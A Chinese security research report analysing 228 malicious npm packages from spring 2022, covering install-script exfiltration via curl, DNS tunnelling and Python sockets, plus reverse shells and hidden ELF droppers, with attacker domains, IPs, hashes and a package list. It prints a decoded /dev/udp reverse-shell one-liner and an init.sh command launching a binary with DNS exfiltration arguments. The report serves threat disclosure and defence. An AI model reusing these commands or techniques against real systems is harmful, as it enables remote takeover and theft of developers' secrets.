前言

  • 在过去的一个多月时间里(2022.4.19至2022.5.31),奇安信技术研究院星图实验室自研的天问软件供应链安全分析平台npm监测模块捕获了228个npm恶意包,这些恶意包的行为大多都是获取用户本地的敏感信息并回传,攻击者通过自动化的方式,发布大量的此类恶意包来对目标进行探测,所获取的信息为攻击者的下一步攻击行为提供参考。恶意包的具体列表附于文末表格。

实例分析

1. 迷惑的google域名

  • 2022.5.25日天问供应链安全分析平台发现了一条告警,在进行自动化动态分析的过程中,有一个包@kraken-frontend/components@1.0.0向名为www.analytic-google.com 的域名发起了请求,产生了相关通信流量。第一眼看上去非常像是和Google Analytics平台进行的一些正常交互,因为在一些web服务中这类情况很常见。但实际上Google Analystic服务所使用的域名是analytics.google.com, 这是很明显的通过相似域名进行误导的手段。

  • 通过查看该包的源代码,发现其逻辑非常简单,直接在package.json的scripts字段中发起一个curl请求,来将获取到的敏感信息回传到该域名。

    image-20220602152128969

  • 通过司南平台分析该域名后发现, 该域名注册于两个月前,且在历史的注册信息中也有被恶意使用的情况存在。

    image-20220606111742288

2. 使用更隐蔽的DNS信道回传信息

  • 在包lbc-git@0.1.1is-sca-ey@1.0.2中使用相同的代码结构将获取到的敏感信息进行分片,然后通过DNS请求来回传这些信息到攻击者的服务器。

    image-20220602135109784

  • 在包roni-test-scoping/testingv1@99.0.0@roni-test-scoping/testingv2@99.0.0中,直接在scirpt中执行dig命令,通过dns回传信息。

    image-20220602154539529

  • 由上传者bughunter.volgactf上传的12个包(详细名称见下图)均使用了js混淆的手段, 通过天问沙箱的分析结果,其行为均是使用DNS来回传用户敏感信息。并且攻击者同时在@logistics-frontend这个名称空间下上传了10个包,明显已经实现了自动化恶意包发布的手段。

    image-20220602143325159

    image-20220602144838360

3. 自动化批量上传恶意包

  • 2022-05-09T09:10:16.926Z(UTC)开始的10分钟内,攻击者yoloclin 在三个不同的scope名称空间下上传了35个包。

    • scope名称分别为 :@epc-apps、@epc-infra、@epc-libraries、@epc-tools

    • 具体使用名称如下图,可以看到频繁使用一些如utils、jest、eslint的名称。

      image-20220602141001504

  • 2022-05-24T10:53:07.089Z(UTC) 开始的这一分钟内,攻击者bughunter.volgactf@logistics-frontend这个名称空间下上传了10个包(列表在上一节中已经列出)

  • 2022-05-25T13:02:23.792Z(UTC)的10个小时内,攻击者kraken-frontend 上传了共计28个恶意包,都是在同一个@kraken-frontend 名称空间下。

    image-20220602150130508

4. laveseler的逐渐演变的攻击手段

  • 自2022.5.10日至6.1日,名为laveseler的攻击者共计上传了21个npm包,这其中有攻击者测试用的包,不包含任何恶意代码。也有存在恶意包,包含多种攻击手段,且攻击者企图多种方法来更隐蔽的执行恶意代码。接下来将按照攻击者上传的时间顺序来一一分析这些包。

    image-20220602161247937

在5月10日至12日之间

  • 在5月10日至12日之间,攻击者上传的包vueexx的两个版本,以及antvv的三个版本中,攻击者直接在sctipts字段中执行curl请求和ls命令等一些简单的系统命令,似乎是在进行测试scritps字段的功能。image-20220602162101902image-20220602162134726

5月30日

  • 然后在5月30日上传了名为vueexxx(注意这里是三个xxx,名称与之前不同)的包的两个版本,都是用先通过执行一个shell脚本, 在脚本中又嵌入了python代码。通过python建立socket连接来向目标ip( 47.243.78.201:12345) 直接回传敏感信息。不过值得注意的是,在两个版本使用的ip并不是同一个,在vueexxx@1.0.5中用的是 47.243.78.202,而在1.0.3版本中则是47.243.78.201image-20220602162850237image-20220602155353487

5月31日

  • 5月31日上传了14个包,在这些包中:

    • y-qrcoded@1.0.0 仅包含测试代码,无恶意代码。

    • y-qrcoded@1.0.1

      • 反弹shell ,且包含中文注释。
      • image-20220602163449354
    • await-to-jss@1.0.0

      • 反弹shell
      • image-20220602164012629
    • axios-mock-adapterr@1.0.0

      • 代码结构没有发生太大的变化,依然是反弹shell,但是将一些关键的指令转换成了base64编码,目的应该是针对一些静态分析的反检测。
      • image-20220602164814459
    • wangeditorr@1.0.0

      • 直接执行一个shell脚本,但是将脚本内容进行了base64编码,转化后的编码如下:

        1
        exec 5<>/dev/udp/100.69.249.146/10004;echo >&5 && (cat <&5|while read line;do $line >&5 2>&5;done)

        image-20220602165351582

    • clipboarddd@1.0.0

      • 在这个包中,攻击者的攻击方式出现了一些变化,在包内包含了一个elf二进制文件,其行为都是通过该二进制文件来执行,没有直接的源码可以分析,通过传入该elf文件的参数可以猜测依然也是使用dns进行信息的回传。对于该二进制文件的更多行为可以直接查看天问沙箱相关报告

      • elf二进制文件md5:

        • 59a255cc92745ef58f9c20a4a1c591ea bin/init

        image-20220602170912171

    • chalkkk@1.0.0

    • cropto-jss@1.0.0

      • 和上一个包的运行逻辑基本一致,不过这次只有一个文件,也没有传入参数。不同的是,攻击者给elf文件加上了.前缀,企图在unix文件系统中隐藏自己。

      • elf二进制文件md5(点击md5可直接查看天穹沙箱报告):

        image-20220602174301338

    • commanderrr@1.0.0

    • chalkkk@1.0.2

      • 还是直接调用两个elf文件,和该包chalkkk@1.0.0版本没有区别,elf是相同的。
      • image-20220602175332414
    • clipboarddd@1.0.1

      • 和该包的clipboarddd@1.0.0 版本没有太大区别,elf文件md5相同,只是执行的参数放在了一个shell脚本中。
      • image-20220602175604303
    • clipboarddd@1.0.2

      • 相比于前一个版本,仅修改了init.sh中的代码,增加了一些转移反斜杠,其他没有变化

        1
        chmod +x bin/init&&bin/init --secret\=root@123456 --dns server\=100.69.249.146\,port=10005 &
    • gbsss@1.0.0

    • redisss@1.0.0

    • gbsss@1.0.1

5. 一些新出现的接收信息回传的域名

  • 在之前几个月的监测着我们发现,攻击者频繁的使用burpcollaborator.netinteract.shwebhook.sitepipedream.net 等几个域名作为信息回传的地址,其中burpcollaborator.net 作为知名渗透测试工具burpsuite提供的代理网址使用起来非常方便。不过也不可避免的被一些检测软件以及防火墙加入到黑名单中。所以攻击者可以选择自建回传信息平台或者一些之前出现频率较少的域名来获取相关信息。下图给出了burpusuite collaborator的工作原理,以供参考。

    Burp Collaborator

  • 通过近一个月的监测,我们发现这类信息回传的域名有增多的趋势。似乎攻击者都在寻找更多避免流量监测的方法。

  • 新增的域名如下

    • goldfish.dev.radsecau.com

    • ngllibmanager.commandtechno.workers.dev

    • gemgem103.com

    • michaelblake.dev

    • oastify.com

    • rover.apollo.dev

    • blueotter.info

    • burp.gdsburp.com

    • haxx.cc

    • bugbounty.click

    • a.heliohost.us

    • www.analytic-google.com

    • poc.tq.ag

    • melar.site

    • epicteam.fun

IOC

  • 59a255cc92745ef58f9c20a4a1c591ea
  • fe3479d9f66187dad14d94036fbd1c46
  • bab277a9fafb7a8f31d8ed8b2c356356
  • 3355b05355fe8a11afc30431a4aabe37
  • bcda03999534ec70081cf89165549624
  • 6371410dd4898489bfa62d2ab6d33752
  • 5b710cdf0c5f4734bb8b645f6c584bd9
  • ca4a5aafa381381b941e11fccb5c1430

结语

  • 在过去的一个多月中,NodeJs生态供应链攻击频发,且攻击形式越来越丰富和成熟,攻击的范围和自动化程度也大大提高。经过整理,现将过去一个月中所捕获的228个恶意包的名称在文末表格中给出,更详细的信息可以咨询奇安信星图实验室。同时,天问平台npm监测模块将持续对npm生态进行监测分析,对恶意包进行第一时间的捕获、分析和预警。欢迎其他研究者一起交流分享所得,共同推动供应链安全的相关研究。

参考链接

附录

天问npm监测模块近期发现的228个针对npm生态的恶意包如下表所示。

A B C D
chainalert_npm_package@7.1.1 chainalert_npm_package@7.2.0 chainalert_npm_package@8.0.0 af-test@30.10.2
af-mason@30.10.2 wickjs@420.69.0 wickjs@420.69.2 wickjs@500.69.3
@zalando-internal/z-shop-ui@1.0.2 composer-scaffold@40.5.1 composer-packager@40.5.1 composer-turbine@40.5.1
composer-sandbox@40.5.1 composer-turbine-schemasy@40.5.1 composer-validator@40.5.1 base-parts-ipc@30.2.1
platform-node@30.2.1 vs-platform-node@30.2.1 vs-platform-instantiation@30.2.1 xterm-common@30.2.1
xterm-common@30.2.2 vs-platform-instantiation@30.2.2 vs-platform-node@30.2.2 base-parts-ipc@30.2.2
composer-turbine-loader@40.5.2 composer-scaffold@40.5.2 composer-bridge@40.5.2 composer-packager@40.5.2
composer-turbine@40.5.2 composer-sandbox@40.5.2 composer-composer-validator@40.5.2 composer-validator@40.5.2
composer-validator@45.1.1 composer-turbine-loader@45.1.1 composer-scaffold@45.1.1 composer-packager@45.1.1
composer-turbine@45.1.1 composer-sandbox@45.1.1 base-parts-ipc@45.1.1 platform-node@45.1.1
vs-platform-node@45.1.1 xterm-common@45.1.1 composer-composer-validator@45.1.1 grafana-cluster@25.1.1
deduplication@25.1.1 @sorare-marketplace/components@3.11.0 @sorare-marketplace/components@2.11.0 @sorare-marketplace/components@1.11.0
@zalando-internal/z-shop-ui@1.0.3 @aws-cdk-example-dynamic-web-config/shared@0.1.0 @ramp106/timetable@99.9.9 package_test23@1.0.3
@ramp106/timetable@99.10.9 @ramp106/timetable@99.11.9 @ramp106/timetable@99.12.9 @azure-test2/test2@99.9.9
@ramp106/timetable@99.15.9 @ramp106/timetable@99.16.9 loadassh@4.17.21 loaddash@4.17.21
loaddash@4.17.22 loadassh@4.17.22 @apollo/rover@0.6.0 xo-locale@1.0.0
avvir@0.2.12 fail-if-found@1.0.1 @seller-ui/settings@0.1.99 @seller-ui/products@0.1.99
@cvent-wdio/wdio-utils@0.1.0-SNAPSHOT @cvent-wdio/wdio-configs@0.1.17 @cvent-wdio/testthing@0.0.1 @cvent-wdio/testthing@0.0.2
@cvent-wdio/testthing@0.0.3 reactbay@1.0.34 reactbay@1.0.35 rbay@1.0.35
rbay@1.0.36 rbay@1.0.37 rbay@1.0.38 jsforce2@5.2.1
meili-web-ts@1.0.0 @epc-apps/alert-servie@1.0.0 @epc-apps/api-ingestor@1.0.0 @epc-apps/api-outages@1.0.0
@epc-apps/edge-lambdas@1.0.0 @epc-infra/aurora-stack@1.0.0 @epc-infra/cicd-stack@1.0.0 @epc-infra/cognito-stack@1.0.0
@epc-infra/dns-stack@1.0.0 @epc-infra/dynamo-stack@1.0.0 @epc-infra/edge-stack@1.0.0 @epc-infra/lambda-utils@1.0.0
@epc-infra/stack-config@1.0.0 @epc-infra/users-stack@1.0.0 @epc-infra/vpc-stack@1.0.0 @epc-libraries/common-types@1.0.0
@epc-libraries/utils@1.0.0 @epc-tools/eslint@1.0.0 @epc-tools/jest@1.0.0 @epc-tools/logger@1.0.0
@epc-tools/typescript@1.0.0 @iwcp/nebula-ui@1.7.12 vueexx@1.0.0 lbc-git@0.1.1
coldstone-sls@2.7.2 videojs-vtt@1.0.1 assets-common@4.7.0 assets-common@4.7.1
bolt-styles@2.2.1 f0-utils@1.0.0 f0-utils@99.0.0 elysium-ui@99.0.0
cap-products@1.2.8 jfrog-cli-go@1.53.3 ddc-new-relic@1.0.0 axp-base@1.0.0
pco_api@100.0.2 lyft-avidl@15.0.1 flake8-holvi@15.0.1 volgactf@10.0.0
mb-blog@15.0.1 sixt@15.0.1 @delete-test/mypackage@1.0.1 @delete-test/mypackage@1.0.2
@epc-tools/test@1.0.0 lib-admin-ui@1.0.0 ubiapi@1.0.0 lea-tabs@1.0.0
avvir@0.2.15 axp-base@991.0.0 @otto-ec/toolbox@1.13.143 @otto-ec/toolbox@1.14.222
mmccii@1.0.0 mmccii@1.0.1 pm-gov-ru@1.0.0 otvet.mail.ru@1.0.0
mapsapi-area@1.0.0 midi2zmq@1.0.0 @controlla/cli@1.25.1 spark-overlay@1.0.0
nimble-client-js@999.0.0 inline-fold@0.0.1 nimble-client-js@5.2.1 nimble-client-js@4.0.4
nimble-client-js@4.0.999 nimble-client-js@4.9999.999 nimble-client-js@5.9999.999 nin-modal@90.9.9
perfetto-ui@12.0.0 pp-mp-order@10.0.0 pp-mp-order@10.0.1 perfetto-ui@13.0.0
jobcoin@5.0.1 nin-modal@91.0.0 @nichoth/ssc-lambda@0.0.7 @logistics-frontend/blocks@10.0.0
@logistics-frontend/client-core@10.0.0 @logistics-frontend/core@10.0.0 @logistics-frontend/hooks@10.0.0 @logistics-frontend/modules@10.0.0
@logistics-frontend/ndd@10.0.0 @logistics-frontend/polyfills@10.0.0 @logistics-frontend/types@10.0.0 @logistics-frontend/ui-old@10.0.0
@logistics-frontend/utils@10.0.0 nimble-client-js@5.9999.9999 nimble-client-js@4.0.1 nimble-client-js@4.99.99
nimble-client-js@5.99.99 nimble-client-js@6.99.99 nimble-client-js@3.99.99 nimble-client-js@2.99.99
nimble-client-js@1.99.99 @kraken-frontend/components@1.0.0 @kraken-frontend/test-utils@5.0.0 @kraken-frontend/components@5.0.0
@kraken-frontend/translations@5.0.0 @kraken-frontend/kraken-api-clients@5.0.0 @kraken-frontend/kraken-websocket-api-client@5.0.0 @kraken-frontend/kraken-internal-api-client@5.0.0
@kraken-frontend/entry-point@5.0.0 @kraken-frontend/eslint-config@5.0.0 @kraken-frontend/sentry@5.0.0 @kraken-frontend/sentry@6.0.0
@kraken-frontend/kraken-internal-api-client@6.0.0 @kraken-frontend/kraken-websocket-api-client@6.0.0 @kraken-frontend/translations@6.0.0 @kraken-frontend/test-utils@6.0.0
@kraken-frontend/components@6.0.0 @kraken-frontend/entry-point@6.0.0 @kraken-frontend/eslint-config@6.0.0 @kraken-frontend/kraken-api-client@6.0.0
@kraken-frontend/kraken-api-client@7.0.0 @kraken-frontend/kraken-internal-api-client@7.0.0 @kraken-frontend/kraken-websocket-api-client@7.0.0 @kraken-frontend/translations@7.0.0
@kraken-frontend/components@7.0.0 @kraken-frontend/test-utils@7.0.0 @kraken-frontend/eslint-config@7.0.0 @kraken-frontend/entry-point@7.0.0
@kraken-frontend/sentry@7.0.0 ngllibmanager@0.0.1 @gpsu/common@1.0.0 epic-am-ui@49.9.9
coolqueue.io@1.1.1 amber-blocks@10.0.0 vueexxx@1.0.3 vueexxx@1.0.5
epic-am-ui@50.0.0 vue-admin-lib@1.0.0 await-to-jss@1.0.0 @roni-test-scoping/testingv1@99.0.0
@roni-test-scoping/testingv2@99.0.0 clipboarddd@1.0.0 vue-admin-lib@1.0.1 loadah@555.0.0
is-sca-ey@1.0.2 nexemplum@555.0.0 epic-am-ui@51.0.0 chalkkk@1.0.0
cropto-jss@1.0.0 commanderrr@1.0.0 chalkkk@1.0.2 clipboarddd@1.0.1
clipboarddd@1.0.2 gbsss@1.0.0 mdb-react-color-picker@1.0.1 mdb-react-file-upload@1.0.1